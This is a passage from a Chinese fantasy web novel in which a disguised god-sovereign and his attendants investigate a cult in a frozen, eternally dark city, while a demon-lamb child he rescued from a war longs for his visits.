蜚蜚后知后觉自己的失职:怎么就跟着人类思维那么规规矩矩操作了,有那个闲功夫,明明随便一挥手就能让任何一辆车停下来啊!
他反思着自己的失职,自省着日后要如何改进工作,为老板拉开车门。
人类再如何努力,两年时间也远远不够一座城市挖掘建设出成熟的地下交通。
地下贰层仅初步划出车道,铺设基础照明和信号灯,不少区域的墙体还没有整修过,杂乱的线路与建到一半的通风排水系统随处可见,开着开着就会遇上还没来得及在地图上联网更新的施工区域和封闭路段……
整个地下像块没完成的巨幅拼图,凌乱、无序得叫人心生烦躁。
佟灵很少来地下,看什么都好奇,问这问那叽叽喳喳,像只小鸟:
“哇,这个车好大啊!”
“那边的紫色光是什么?新型红绿灯吗?”
“感觉这段路和导航长得不太一样……”
“妈呀妈呀,小宁老师,这个也能进地下贰层吗?!”
宁槐很有耐心地为他一一解答,但蜚蜚更确信要是卡布卡在这儿,大鹦鹉和小鹦鹉一定更有共同语言。
这是辆无人驾驶的七座车,蜚蜚没那么信任人类的小发明,还是选在驾驶位,这时候转过身,看见中排的老板正望着窗外,没什么表情,唯有搭在腿上的手指轻轻点了两下。
费秘书心领神会,清了清嗓子加入后排年轻人的话题:“宁先生好像懂得很多?”
宁槐长这么大还从来没如此郑重其事地称呼过,连忙道:“您叫我小宁就好。就是从上大学开始做了不少勤工俭学,到处兼职,跑了不少地方。”
蜚蜚:“那么类似读
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书会的组织也是参加过的了。”
“这个倒没有,是听我家楼下卖早餐的阿婆说的。她儿子以前在教会工作,但永夜持续太久,越来越多的人心慌,绝望,认为不见城已经被神明抛弃,想要寻找其他信仰,各种新兴流派应运而生。我猜佟老板去的那个读书会也是其中一种。”
佟灵插嘴:“我可没觉得神主不要咱们了,可能祂很忙、还没收到不见城的情况呢?等祂处理完别的事儿,一定会来拯救我们的!”
宁槐笑着摸摸少年的头,没说话。
佟老板把这孩子养得天真柔软,在如此严酷的雪夜中竟像一缕有温度的暖阳。
蜚蜚看向他们口中的神主。
姜宵保持着眺望窗外的姿势,眸子静静的,侧脸线条优美,似乎并未在意他们的谈话内容。
但祂看见一切,听见一切,知晓一切。
的确有一些神的力量强弱与信仰值多少直接挂钩,甚至失去信徒会导致本身消散;不过都是些低阶神,与主宰万物的诸神之神有着本质的差别。
话又说回来,要是不见城的信仰流失得真像宁槐说的那般迅速,神域早就该收到报告。
可直到一个多月前把小绵羊送到童话牧场,神主才延迟地、亲自地察觉异状。
究竟是事情还没坏到那地步,还是……有谁在故意阻拦消息传播?
目的地到了。
四人下了车,乘电梯从地下贰层去往地上六十六层。
*
穹顶投影着碧空白云,四周栽种着人工培植的特种椰子树,室内温度调高到32度,音响里播放的风声、海浪声、海鸥鸣叫逼真得仿佛在耳边盘旋……
这个可容纳数百人的巨型会议室中,正在尽可能模拟还原真实的夏季环境。
充沛的日照,热烈的温度,湿润的空气……这些在过去唾手可及到完全不需要细细考量的季节特征,对现在的不见城居民而言已经成了只可追忆的奢侈。
台下座无虚席,读书会里没人读书,或者全场根本连本书都没有,个个双眼放光,全神贯注地倾听着台上人的宣讲。
男人戴着单边银链眼镜,顶着大主教的名头,并未穿戴全套袍服,仅以一件纹有荆棘图案的红褐色祭披作为象征,振臂高呼:
“我们——亲爱的朋友们——要自己拯救自己!”
“人类的勇气是神明也无法比拟的赞歌!”
“靠山山倒。朋友们,不要绝望,人类就是这样一代又一代从黑暗中取得火种传递和延续希望。”
“新的世界正向我们打开大门!”
“在座的各位,就是那第一批开拓疆土的勇者……”
他每说一句,都会得到掌声雷动的赞同。
受到鼓舞的人们神情狂热,更有甚者激动到落泪,场面壮观。
男人还在喋喋不休絮叨着,以他的角度不难看到大门被推开了一条缝。
“哎呀。”大主教激情洋溢的演讲蓦地中止。
他推了推眼镜,镜片后的眼球以一个颇为古怪的角度动了动,笑得十分真诚:“看来,我们又有新的朋友加入了。”
5. 第 5 章
台下窃窃私语,台上那位大主教则在和人低声交谈什么,很快,一个助手打扮的女人朝他们走过来。
蜚蜚向前一步,把姜宵挡在身后。尽管人类伤不到神,他也要保证他们的言谈举止得体,不至于让神主烦忧。
另一重隐患在于,一些体质弱、精神差的人类,在没有准备的情况下倏然窥见神主真颜——哪怕是经过伪装的——会因冲击太大昏过去。
他们是来查线索的,没必要节外生枝。
「哎,你别说,你还真别说,这家伙讲的其实还蛮有道理的嘛。什么靠山山倒啊、什么盗火啊……啧啧,一套又一套的。」
脑海中冷不丁响起的声音让严阵以待的蜚蜚差点没控制住表情。
他迅速掩饰住惊异,怒从心头起:「不许突然跟我说话!」
卡布卡悠然自得:「不要这么暴躁嘛老弟!哎呀我就是自己在这儿太无聊了,陛下怎么还不回来?下次要不还是我陪陛下去吧?老弟我看你沉稳大气比较适合留守后方……」
蜚蜚冷漠:「没事我屏蔽了。」
「哎哎哎等等等等——」卡布卡知道自己的这位同僚说屏蔽是真的不会留情,连忙挽留,「我是来跟你分享情报的。」
蜚蜚更加冷漠:「说。」
「老弟你应该也感觉到了吧,这儿可不是什么正经组织。」卡布卡咂了咂嘴,「这个所谓的读书会其实还有另一重名字,“渎神会”。读书,渎神。嘿,念起来还真挺像!」
「“渎神”?」蜚蜚本就不爽的心情更是被这个名字火上浇油,「愚蠢,实在愚蠢!愚蠢的人类,他们怎么敢——?」
卡布卡:「老弟你先别激动。现在重点不在于人类做了什么,而是他们对原本的庇佑体系失去信心后,又想要重新信奉什么。」
蜚蜚强迫自己冷静下来,讥讽地嗤笑一声:「他们不是要信奉自身么?」
「你知道“靠山山倒”后一句是什么吗?」卡布卡笑眯眯,「是“靠人人跑”——人类最不信任的,就是他们的同类。所以他们一定会重新做什么的拥趸;至于这个“什么”是什么,就是你要为陛下探清的。」
说完这段绕口令似的话,卡布卡断掉了与他相连的神识。
蜚蜚做了个深呼吸,女助手已来到面前。
他正欲用人间伪装的商人秘书身份来介绍,却看见自家老板已然目不斜视从女助手旁边走过去。
蜚蜚差点脱口而出“陛下”,又及时咽了回去。
他原本担心的神主真颜引起轰动并未发生:压根没人注意到祂。
全场的目光都凝聚在他和另外两个孩子身上,没有一个的视线跟着正穿过拥挤人群的姜宵。
连佟灵都小声地问:“姜先生去哪儿了?”
蜚蜚摇了摇头。
这不是敷衍,他是真不知道老板准备去哪儿。
姜宵在一棵高大的特种椰子树前停下,仰头看了它片刻。
几颗青涩的椰子挂在顶端,羽状叶投下的树影婆娑,可光线流动的方向戛然而止。
祂抬手轻巧一挥,光滑的树干顿时裂成两半,墙面显现出足以容纳一人的通道。
那不是一棵树,而是一扇门。
门后,会有什么?
*
数十个大大小小的屏幕堆砌成电子眼球,监视着会议室,从大主教、到助手、到台下的信徒们、到几个不速之客,一个都不放过。
一个皮肤皱如死木的人躺在病床上,和大主教戴银链眼镜相同的那一侧蒙着眼罩,另一只浑浊的眼睛盯着所有人的一举一动。
他不仅肌理沟沟壑壑如腐坏树皮,腰部以下则是字面意义的“朽木化”——已经完全和木墩、树根融为一体,几乎看不出双腿双脚的原有轮廓。
偶尔咳嗽几声,还会簌簌坠下枯叶。
不知该说他是人,还是树。无论是哪种,都是行将就木。
此人正是“读书会”、或者称为“渎神会”创始人,是真正的大主教。台上的那个,不过是他通过眼球操控的一具傀儡。
他身边端庄地跪着一位身着黑纱的少年人,戴着缠绕有菟丝子装饰的波奈特,双目蒙着蕾丝花边的黑色丝带,身形羸弱,脸孔苍白,模样秾丽,一时分辨不出性别。
神明离他们几步之遥注视着二人,但谁都察觉不到祂的存在,唯有病者身上掉下的枯叶越来越多。
目盲的少年凭声膝行着扫去叶子,而后回到病床旁重新跪好。
“心肝儿。”病者开口,哑得像坏了几十年的老风箱。
“是,大主教大人。”少年柔柔弱弱回应。嗓音更接近男性。
病者沉吟:“你觉得这些人,有用吗?”
少年笑意温婉,答得滴水不漏:“每一个人都有他们的用处。再微小的萤火,也是光。”
病者笑:“你倒是会说话。今天几号了?”
少年回答。
病者叹息:“时间不多了。”
他碰了碰眼罩之下干瘪的眼眶,与此同时,一墙之隔的会议室再次升温,盛夏炽烈的光照和温度感染了在场的所有人,跟着大主教的傀儡高举双手。
——神明沉默?那是祂们惧怕我们醒来!
——过去是神创生人类,如今该轮到我们造神了!
新的世界,新的力量,新的信仰在召唤他们。
少年细瘦的、好似稍微用点儿力就会折断的脖颈上箍着一道铁链,另一段拴在病床床脚上。
他不看监控画面,也不看病者,谦卑而顺从地垂着头,把自己当作另一个无需在人前抛头露面的傀儡娃娃。
神明隔空用力量感知着病者的朽木化的半截身体,以及桎梏着少年的锁链,它们是同一种东西,但真正的源泉并不在这里。
在……
祂看向窗外。
六十六层的高楼之外,是深不见底的黑暗阴翳。高空的风暴比地面更甚,雪尘卷出幽白漩涡,如同天穹即将塌陷。偶尔一两束灯光挣扎着穿透浓夜,闪烁似濒死的星火。
永夜禁锢了这座城市,再无近在咫尺的鸟语花香,再无触手可及的和煦春风,只剩荒芜。
神蹙眉。
长达两年不停歇的极端低温,本应使得室外所有直接暴露的水体早就冻结,然而祂却循着那枯木感知到了流动的波纹。
不知是江河还是湖海,再想探查得更仔细些,祂的神力仿佛被网入茫茫雾中,什么都看不清了。
上至三十三重天,下至十八层地狱,都是祂的领土。数不清的碎片世界皆行转于祂掌中。
然而祂竟无法准确感知那枯木本源的所在地。
看来,必须要回神域一趟。
神明如同来时一般,没有惊动任何人,悄无声息离去。
祂心有烦忧,因此未曾察觉,双眼蒙着黑纱的少年微微抬头偏过视线,好似在静静目送他离去的方向。
*
童话牧场的VIP单间里,一朵乌云正在仿真草坪地毯上横冲直撞,玩具横七竖八躺了一地,全是才被干掉的,昭告着小羊的大获全胜。
撒迦利亚着实在这儿呆烦了,他虽然没有和别
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的羊交流的需求,可哪只羊不想出去在真正的、鲜活的草地上晒着太阳自由自在散步呢?
现在草地也没有,太阳也没有,自由更没有。天天关在这小房子里,羊都要憋出羊癫疯了!
但他又不敢真的乱跑,不然要是错过了那位的探视,肯定后悔莫及。
小羊跑累了,张开四蹄趴下,像往草地上又盖张黑乎乎的绒毯。
好想宵宵啊……
小绵羊百无聊赖翻了个身,做出其他羊做不到的高难度动作:四脚朝天,像个人类一样躺着。
说了下次再来看自己的。
下次,是什么时候呢?
叮咚。
小羊羔动了动耳朵。
有人要来吗?会是谁?
随着房间暗淡下来,他很快意识到这是牧场幼崽睡觉时间到的集体光控。
没劲。
羊形态这么躺着实在古怪,他又烙饼似的把自己翻回去,动动羊蹄子,找到一个属于羊的舒服姿势蜷着。
闲着也是闲着,干脆睡一会儿……算……了……
变成小羊羔后,连入眠都成了幼崽速度。
小羊半梦半醒,闻见冷灵灵的香气。
眼睛还闭着,嗅觉已经醒了,鼻头动啊动。
这个香味是……
小羊猛地醒来。
他睁开眼,看见被当成窝窝的矮床上坐着一个人,正注视着自己,目光平静,几近温柔。
小羊连滚带爬化作人形,扑到那位怀中,眼睛亮如辰星:“哥哥!”
不是说要“下次”再来看自己吗?那个“下次”已经到了吗?
神明接住他,亚麻色的长发因躬身的幅度顺着肩线滑落,发丝在昏沉的房间里依旧熠熠生辉。
幼崽的细长尾巴迫不及待地缠上祂的手臂,又欢快地呼唤了一次:“哥哥!”
神明望着他,总觉得小孩儿好像长高了一些——才一天,不,半天没见。
把小羊送到童话牧场也有一个月了,祂每次来探望他都在长大,而且生长速度不一,有时候几个星期才多一两厘米,有时候,比如今天,居然高了小半个头。
神明过去从未关心过这个种族的幼崽生长情况,不确定需要多久才能进入成年期。
也许要漫长的几百年,也许只是一眨眼。
祂的小羊羔,祂的撒迦利亚,说不定很快就要长大了。而祂竟然因为这个念头体味到一丝不属于神明的、名为“伤感”的情绪。
神不应有七情六欲,所以那份情绪转瞬消散,如坠入壁炉的雪花。
祂记起来意,拍了拍男孩抓着自己的小手:“接下来我有一段时间不能来。”
不见城,渎神会,枯木。三重谜团等着调查,神主就算不亲自行动,也要安排人手。
一旦回了神域,就会和人间的时间流速脱节,有时候连时间之神都无法精准计算差率。
祂本可以直接回神域,临走前还是改变了主意。
小家伙生命中大部分时光都在等待自己的到来,祂不想让他的期待落空。
另一重不打算细想的原因是,在一重又一重烦心事堆积起来的当下,祂最先想到的,也是去见一见自己的小羊羔。
被毛茸茸、暖呼呼的小身体依偎着,就是喷发前的火山也能迅速流于安宁。
祂预料到小孩闻言会失落、难过,但撒迦利亚的反应远比想象中激烈。
男孩向后退半步,不可置信地睁大眼睛,泪水迅速蓄积,声音带上颤抖的哭腔:“哥哥……你、你不要我了吗?”
6. 第 6 章
神明怔了怔。
祂执掌天地千万年,经手过大大小小的冤情,处理过数不胜数的错案,可没有过谁胆敢直接在祂面前放肆哭诉——哭诉的源头还是因祂自己。
小孩见祂不回答,以为是默认,眼泪忍不住了,大颗大颗断了线的珠子似的滚落下来。
他的眼泪并非由普通的液体组成,下坠到一半倏然碎裂,凝成蜜糖色的细小光点,四周昏暗,那些泪水纷飞飘忽如萤火。
神有些苦恼。祂能够轻而易举创生,但不代表祂会养孩子,尤其不知如何对待一个伤了心的孩子。
祂想要伸手为小孩擦眼泪,然而指尖在触碰到泪水的刹那,淡金色与蜜糖色的光芒竟然相斥,竟生生推开了祂。
那触电似的细微痛感还是神明所不曾感受过的,祂并不恼怒,反而有些新奇。
这孩子蕴含的能量应当是很不可思议的。
蜚蜚是祂最信赖的下属之一,他早就提出过反对,甚至是警告:哪怕现在看着乖巧无害,这终究是敌族的后裔,流淌着罪孽的血液,有朝一日必定会觉醒残忍的天性,或许用不着等到完全长大。
如果用人类的说法,这叫“养虎为患”。
不过神明并不介意。祂有这么做的理由。而这不必告知神侍。
小孩干站着还不够抒发,干脆蹲下来,把头埋在双手里,发出小兽受伤似的嘤嘤呜咽,肩膀哭得一耸一耸,两只羊角也跟着一抖一抖,好不委屈。
神不再试图用动作安抚,垂下眼:“我没有。”
诸神之神从来无需解释自己的任何言行,这已经是破例的让步。
小羊抬起哭花的小脸:“没有?”
“没有不要你。”
“没有?”
“嗯。”
“哥哥,还会来看我?”
“会。”
“什么时候?”
神说,下次。
年幼的孩子隐约明白,“下次”有时候是承诺,有时候是敷衍。他现在并不能分辩神明所说的是哪一种。
知晓不是被刻意丢下后,他像小绵羊那样手脚并用,四肢膝行几步来到神面前,把自己的小脸埋进祂的手中,嗓音怏怏,半是撒娇半是乞求:“哥哥,不要丢下我……”
明明哭得满脸是泪,神的掌心并未留下湿润的痕迹。倒是断断续续有蜜糖色的光往外溢。
神摸了摸他的羊角:“好。”
“别不要我。”幼崽吸了吸鼻子,声音还是闷闷的,“我会乖。”
神没有和凡间生物构造相同的心脏,却在小羊尽情表达的依赖中感知到相似的、掉进蓬松云团里的绵软。
若是薄幸寡情的神明也会有最接近人类心绪的某一刻,大约就是现在了。
小孩子的情绪来得快去得也快,得到承诺后很快又恢复了活力,被泪水浣洗过的焦糖色眼眸亮晶晶:“哥哥,有好东西!”
不到一天时间,语言沟通能力似乎也有进步,从只会用单独的字词,进步到可以讲简单的连贯句子。
神看着小羊摇着尾巴蹦蹦跳跳去找东西,若有所思。
不一会儿,小孩双手抱着什么回来了,对他的身量来说大且沉,累得吭哧吭哧,好不容易挪回来,双手使劲儿高高举起,献宝似的:“宵宵,看!”
怎么这会儿又换回之前的称呼了?
神没时间留意他的叫法,看向那个“好东西”。
是个老式的留声机。
是佟灵在学校的义卖会淘来的,年代不明,旧主不详,根据他“小羊崽崽也可以接受音乐熏陶嘛,而且听摇篮曲更容易入睡!”的吩咐,下午刚有员工搬到撒迦利亚的单间。
留声机的喇叭大多雕刻成牵牛花或者百合花,也有郁金香造型,很少会有玫瑰。
神明一看便知,这玫瑰不是原厂家的创意,而是撒迦利亚自己的。
小羊的喜好还是那么固定,若不是材质所限,他多半还要把它变成白色。
玫瑰状的花瓣层层卷曲,边缘有斑驳的蚀痕,星星点点铜绿蜿蜒而过,似乎早已被时间风化。
一朵锈蚀玫瑰。
这便是撒迦利亚今日赠予神明的白玫瑰。
留声机太过古老,作为音乐播放载体早就被淘汰,别说小羊,就连佟灵都不知怎么把这玩意儿捣鼓开。
神于岁月长河中见证过人类对它的发明,手指隔空一点,开关被拨开,唱针落下,有如年轮的唱片吱吱呀呀旋转起来。
忧愁清丽的女声低吟浅唱。
「许我向你看
向你看
多看一眼
我苦守着一个共同的信念
今天才回到我的面前」
……
神明是不用睡眠的,但不见城的确是个奇怪的地方,为祂平添几分人类才会有的脆弱。昏聩夜色中,一丝轻柔的倦意潮水般上涨。
祂竟在留声机的缓慢曲调中睡着了。
男孩跪在祂身旁,伸出食指小心地卷起祂的一缕长发,凑近嗅了嗅其上的冷香,珍重如同对待易碎的稀世瓷器。
童话里的睡美人,是不是就以小憩的神明为原型呢?
祂可比任何一位公主都惊艳得多。
可若真是这么编写的童话,就意味着祂如此毫无防备的模样有可能被别人看去过。想到这儿,小孩又不高兴了,不再想东想西。
撒迦利亚克制住自己想要偷偷亲一下的冲动,安静地望着神明难得一见的睡颜。
半晌,他恢复小羊羔形态,乖顺地蜷缩在祂脚边闭上眼。
晚安,我的爱。
*
二十年前,不见城还拥有正常的季节、昼夜更迭,多次被评选为最佳宜居城市。
二十年前,佟灵尚未出生,宁槐还是个婴儿。
二十年前,在距离不见城很远很远、永无交集的另一个时空维度,一个碎片世界正无声死去。
它死在战争里。
准确来说,是神界与地狱、神族与魔鬼的战争。
这并不耸人听闻,反而很常有。千千万万年来,势不两立的两个种族不知爆发过多少大大小小的冲突,葬送的生命、乃至碎片世界数不胜数。
相似的过程,相同的结局,甚至不值得神官在编年史上多写几笔细节——正义、光明、高洁的神,总是会赢的。
然而二十年前的这一次也有特殊之处。
残忍的地狱生物改变策略,不再只有历练过的魔鬼大军需要上阵,还扔来许许多多魔族幼崽。
新生和幼年的小魔鬼们是最大的不可控,哭声堪比污染武器,精神力波动甚至能一举摧毁敌军。魔族妄图用此奇招打出新的牌局。
即便如此别出心裁,神族还是赢了。
压根无需诸神之神御驾亲征,祂麾下的能人异士数不胜数,而他们总会引导光明的那一方赢得胜利。
一批神军将士凯旋,另一批前来接替清扫。
魔鬼大军溃散奔逃,至于那些本就不知来处、连偷带抢拖上战场的恶魔幼崽们,没人有心思在乎他们的死活。
彼时还未得到“撒迦利亚”这个名字的小羊羔,正是弃子中的一只。
他和其他的小小魔鬼们没什么不同,乌漆嘛黑,仓皇失措,因力量薄弱在人形和羊形之间摇摆不定,像一道道破帧的虚影,不知等待着自己的会是死亡,还是另一种死亡。
神族曾经对敌手留有余
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地,然而这群地狱生物太过贪婪狡诈,不仅没有领情,反而踩着他们的仁善变本加厉。
心慈手软换来血海深仇,于是神族也不再留情。
如今,失败的沙场上,哪怕是新生幼崽,也一律要和成年俘虏同样斩草除根。
他和其他幼崽又很不同:在原形通通是山羊的恶魔族里,他却是一只绵羊。
山羊勇敢、敏捷、强悍,可以轻松踏平任何阻碍;而绵羊温顺又懦弱,只会咩咩叫着摇尾乞怜。
英明神武的魔鬼一族,怎么能是可笑的绵羊呢?
小小的幼崽总因这份差异被同族打压和欺凌,万万没想到有朝一日它会成为自己的救命稻草,转运金符。
他仍然记得倒在血泊中的那一日,浑身上下都是伤口,过量的疼痛反而麻木。耳边嚎啕声、尖叫声、咒骂声此起彼伏,他在这场盛大的交响乐中觉得很困,想睡一会儿。
神与魔鬼的交锋不会有人造武器的硝烟,天际仍是清透的蓝。他盯着渺远的天空,意识维持不住地直往下沉。
一抹战场中不该有的纯白掠过他眼前。
小恶魔还以为自己眼花了,想揉揉眼,可惜胳膊早就断了。
他只好用力眨啊眨,那片萦绕着金色流光的纯白依旧没有消失。
不是幻觉。
小恶魔抬起头,对上一双比天空更纯粹、更澄澈的蓝眼睛。
那双蓝眼睛疏离寂静,即不印着战争、死亡和权柄,也未盛有愤怒、喜悦或悲伤。
但倒映出幼崽脏兮兮的、仓皇的小脸。
“还有力气站起来吗。”
那个声音说。
小恶魔从相见的第一面就发现了,诸神之神就算是提问也从不用问号,总以冷冰冰的句点结尾。
无论何时,祂永远平静,永远淡漠,情绪永远稳固——或者根本不拥有所谓的「情绪」。
这是自己的机会,小恶魔想。
唯一的,不抓住就会永远错过的机会。
他抬起另一边还勉强粘连的手臂,抹掉眼前糊住视线的血污,也不知自己哪儿来的意志和力气从尸骸堆里爬起来。
“有!”他大声地回答。
他以为自己在大声回答。其实细若游丝,比绵羊的哼唧还要小声。
但神还是听见了。
祂没用问他要不要跟自己走,这根本是个不可能被拒绝的问题。
神明赤足而行,却总是洁净,脚尖落下的每步都踩出小朵熠熠生辉的重瓣金莲。
纯白神袍衣摆迤逦,拖曳过血流成河的战场,自始至终没有沾上丁点污渍。
冲天的血腥和腐臭味中,唯有祂身周浮动着淡淡的、与世隔绝的香气。
那香味清雅,像冰也像雪。小恶魔不知道更像哪一个,只知道好好闻,说是勾魂夺魄也不为过,叫他摇摇晃晃跟了一路。
到后来,受伤的幼崽走不动了,倒下之前想也没想伸手抓住近在咫尺的、在眼前晃动了很久的纯白。
他脏兮兮的小手黏着神明的衣角,黏下一个黑乌乌的小手印。
小孩惶恐,不知该不该松手。
但神明只是低头瞥了一眼,并未表现出介意。
于是他鼓足勇气就这么跟了一路。跟着神明走过尸山血海,走过神族或诧异或眉头紧锁的打量,走过魔族憎恶的、羡妒的目光,走过正在凋零的碎片世界。
祂自始至终没有拂开他的小手。
如果是这样的神明——
小恶魔仰起脸打量祂肃静华美的侧颜,忍不住想。
就算是这样的神明。
会不会有一天,也会为谁掉眼泪?
又是什么人,能有如此荣幸?
7. 第 7 章
小孩醒来时已是天光大亮。当然,是整个幼崽宿舍区中控系统统一调节的室内模拟灯光。他不知何时被抱回小窝里,还悉心地盖好星星小被子。
男孩想起什么,一骨碌爬起来,光着脚踩在柔软的地毯上急急忙忙到处找,理所当然地一无所获。
偌大的房间里,除了他没有别人在。
无论过程中做过怎样的努力,结局都是相同。
小孩沮丧地回到矮床上,双手抱着抱枕发呆。
祂走了。还会再来吗?
这一次的“下次”,又是什么时候?
小羊是不需要桌子的,所以宿舍里只有摆得整整齐齐的置物柜,而它的最上面摆着那盏留声机。
喇叭被精心雕琢的锈蚀玫瑰造型已经消失,恢复成原本平平无奇的牵牛花。
那首歌的调子仿佛还在耳边回荡,撒迦利亚说不上来的心烦意乱,烦躁地挥了挥手,铜质喇叭瞬间像任人揉捏的橡皮泥般枯萎成废铁。
小孩托腮瞟了眼它,觉得这样实在有碍观瞻,再度隔空绕了绕食指改变它的形状。
现在它看起来像一只死去的枯叶蝶。
他还想再做些锈蚀,耳朵动了动。
门外有声音。
有人来了,但是……不是他期待的那个。
从输入密码到认证成功、大门解锁还需要十几秒,这个时间足够干点儿坏事。
“小迦,我来看——”
佟灵进门瞧见的就是黑色小绵羊站在一滩留声机碎片旁,睁着一双圆眼睛万分无辜地看着他,置物柜上其他的东西也摇摇欲坠。
佟灵显然没料到这只平日里还算乖顺的小羊羔居然有这么大破坏力,张口结舌:“你,你做了什么呀……”
小羊羔软软地冲他咩了一声,踏着小蹄子哒哒来到人类身边。
佟灵本就是个心软的孩子,此时更是连责备的话都说不出来:幼崽活泼捣蛋是天性,怪自己大意,不该把易碎品放进儿童房。
佟灵摸摸他的小卷毛:“没伤到自己吧?”
小羊:“咩!”
佟灵围着他绕了一圈,看起来是没有。认命地叹了口气,按上墙面面板的呼叫铃请员工来收拾,带着小羊羔远离“现场”。
很快清扫完毕,房间里只剩下一人一羊。少年终于展露本来目的,哭丧着脸:“我被爸爸知道偷溜去读书会,被他骂了,小迦,你安慰安慰我吧。”
佟灵从小生活在牧场里,和动物打交道得比人类还频繁,一有烦心事儿就和这些小牛小马小羊吐苦水。
撒迦利亚并不讨厌佟灵,某种程度上而言少年是他能和神明相见的固定桥梁,他应当感谢佟家才是;更重要的是,佟灵很有自知之明,即便见到姜宵和所有人一样被惊艳,但不会逾越地盯太久——
不像某个不识好歹的家伙。
想到宁槐,小羊羔从鼻子里不屑地喷出气。
佟灵没注意到他的心不在焉,跪在他面前,眼带恳切:“小迦,我能不能抱抱你?”
在魔鬼的眼中,人类不过是吵嚷弱小的小鸡仔。一只小鸡想要贴贴,好像没什么损失。
所以小黑羊纡尊降贵伸出蹄子:“咩。”
佟灵立即抱住他,欢喜地用脸颊蹭了蹭他暖融融、黑乎乎的卷毛:“呜呜,小迦,我好惨……”
和小动物们说话的好处就是不需要解释前因后果,也不用担心秘密泄露出去。佟灵自顾自哭诉着,用不着在乎一只羊能不能听懂。
这只羊也确实在走神。
要是祂每次来的时候也能这样抱着自己就好了……
或者什么时候,能允许自己这样紧紧地、毫无保留地抱着祂呢?
以神明那样万年高原冰川的性子,只能是奢望吧。
佟灵颠三倒四的倾诉撒迦利亚基本左耳进右耳出,不过还是留意到了一件事。
六十六层会议室作为读书会成员的集会地点,本应是内部秘密,但不知怎么的被宁槐知道了,还带着外人找了过去,这让读书会的领袖感到不安,决定更改位置。
据说他们新换了个隐秘的地方,并且要进行为期一周的封闭。也就是说,读书会下次召集时,佟老板和其余几百个成员一样,要短暂地同家人失联。
撒迦利亚在意的不是读书会,而是佟灵所提到的,这一次姜先生也与他同去,并且表现出对加入读书会的兴趣,希望佟老板可以为自己引荐。
那么,下一次呢?
那个足足持续七天的、封闭的、数百个既恐慌又膨胀的人类聚在一块儿群魔乱舞的未知仪式——姜宵也会在吗?
*
神殿伫立于云巅之上,由灵石铸成的圣柱左右各十二根,相对着整齐排列,柱身雕有古老神纹,圣柱之间风幡高悬,随着罡风猎猎作响。
永昼天光在大殿中映出淡淡金辉,无尽天梯蜿蜒而下,尽头隐没进苍茫云海。纯白帷幔轻轻飘扬,如同永不熄灭的流动圣光。
更远处的次殿、祭坛、圣泉在云海中勾勒出朦胧的倒影,唱诗班低低歌颂,伴着风声更显庄严寂静。
这里是时间的起点与终点,是生命的发源与尽头,是万世的开始与结局。自创世以来便沉默地矗立于此,亘古不变。
那是只特别的鸟儿,全身覆羽洁白没有一丝杂色,冠羽则像孔雀翎,随着光线流转变幻斑斓的色彩。
他的特别不在于美丽,而在于巨大:身长数十米,光爪子就堪比大象,双翼完全展开后足以遮天蔽日。
神域辽阔无垠,即便是如此庞然大物也能够自由自在翱翔。此刻他舒展翅膀,正以滑翔姿态呼啸着向神殿入口俯冲。
“陛下——是陛下回来啦——陛下——”
未见其鸟,但千米外就能先闻其声,如此标志性的特征隶属于诸神之神另一员麾下大将:卡布卡。
名字听上去不大正经,鸟……勉强还算个正经鸟。
卡不卡拉上蜚蜚自封神主的左膀右臂,侍从分别称他们为左舵大人和右舵大人——上有纵容,下有信服,真实战力可见一斑。
神主身边这二位,都有些来头。
卡布卡是鸟类,这一点很明显,黑发赤瞳、穿着古典、有大侠气派的蜚蜚,原身大约可以算作鱼类。
蜚蜚小心谨慎,仅会在天池中显出原形。
若卡布卡也在近旁,便能窥见神域罕见一幕:
鸟羽洁白似雪,眼瞳是明快的橙黄色。
鱼鳞玄黑如墨,双目是慑人的朱砂色。
二者本为一体双生,乃上古神兽鲲与鹏,合二为一时即成完整的黑白太极图,是神主最得力的武器。
卡布卡虽然本真神力和蜚蜚不相上下,化形这一块始终掌握得不太好,人类形态最多维持数小时就会打回原形。
不过他也不介意,本来用原身就是最自在的
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,当鸟也方便得很:通常他会把自己缩成葵花鹦鹉的大小,骄傲地站在陛下的肩上引吭高歌——如此放肆的圣恩荣宠,可是他那位小老弟羡慕不来的。
在卡布卡看来,同僚对陛下忠心耿耿好是好,就是太死板。陛下看起来不近人情,其实内心也有不为人知的温柔。
他们既然原本是兽,就要有做宠物的自觉,时常撒撒娇卖卖萌讨主人欢心,不是很正常吗?
而他们千万年来忠心所向、虔诚信奉的神明,正穿过入口的浓雾,在人间用来伪装的黑发黑眸褪去,幻化出诸神之神的真颜。
神域的主人显现,万籁俱寂,万灵屏息。
亚麻色的长卷发在光中微微浮动,冰蓝眼瞳清冷如冰封湖泊。纯白神袍无声迤逦,衣角掠过云层,它们在顷刻间消散,又在下一秒敬畏地重聚。
祂踏空赤足而行,不染纤尘,所到之处金光乍现,步步生莲。
不可逾越,不可窥视,不可侵扰。
神殿感应到祂的到来,霎时间圣柱光华流转,帷幔与风幡高高扬起,颂歌在短暂的停滞后重新响起。
因祂离去而沉眠的神域也因祂的归来苏醒。
卡布卡已经缩回了葵花鹦鹉的体型,翅膀张开摆成一前一后的姿势,冲神明行了个有些滑稽的礼:“陛下,欢迎回家!”
神主颔首:“辛苦了。”
祂需要去往其他世界的日子,左使和右使轮流代为执掌神域。
卡布卡抖了抖毛:“不辛苦不辛苦,就是有点儿寂寞!陛下我可想您了,每天都在掰着指头数您什么时候回来呢!您不在的日子我都有好好工作哦,没有偷懒~~”
整个神域巍峨肃穆,这位左使是唯一的噪音。
右使瞪了他一眼:“小点儿声。”
卡布卡不把他的话当回事儿,继续叽叽喳喳:“陛下陛下,蜚蜚这小子是不是照顾得不够周到?要不下次下凡您还是带着我去吧?他太闷了,肯定很无聊……”
右使玉白的脸庞都要气红了——这只烦人的鸟!得找个机会把他的毛全拔光!
令他诧异的是,陛下居然回应了卡布卡的大段废话,神情颇为放松:“他做得不错。”
做得不错……是说自己么?这是夸赞么?
蜚蜚欣喜若狂,又不好直接表现出来,低下头反而更显诚惶诚恐:“陛下,这是我应该做的。”
白鸟飞到蜚蜚身边,拿翅根当胳膊肘戳了戳他,嘿嘿笑:“老弟,这下高兴了吧?”
心情正明媚的蜚蜚一点都不想理他。
卡布卡习惯了同僚不爱搭理自己,一点儿不受影响,又绕回神明的另一侧,转了转眼睛:“陛下陛下,您这次去看小魔羊怎么样?有没有长大?我上次去他还在喝奶呢!”
能把“魔鬼”和“绵羊”两个词结合成“魔羊”这个叫法的,也就卡布卡干得出来了。
“又长大了些。”神明在提及自己的小羊羔时,目光比此前表扬蜚蜚时更加柔和。
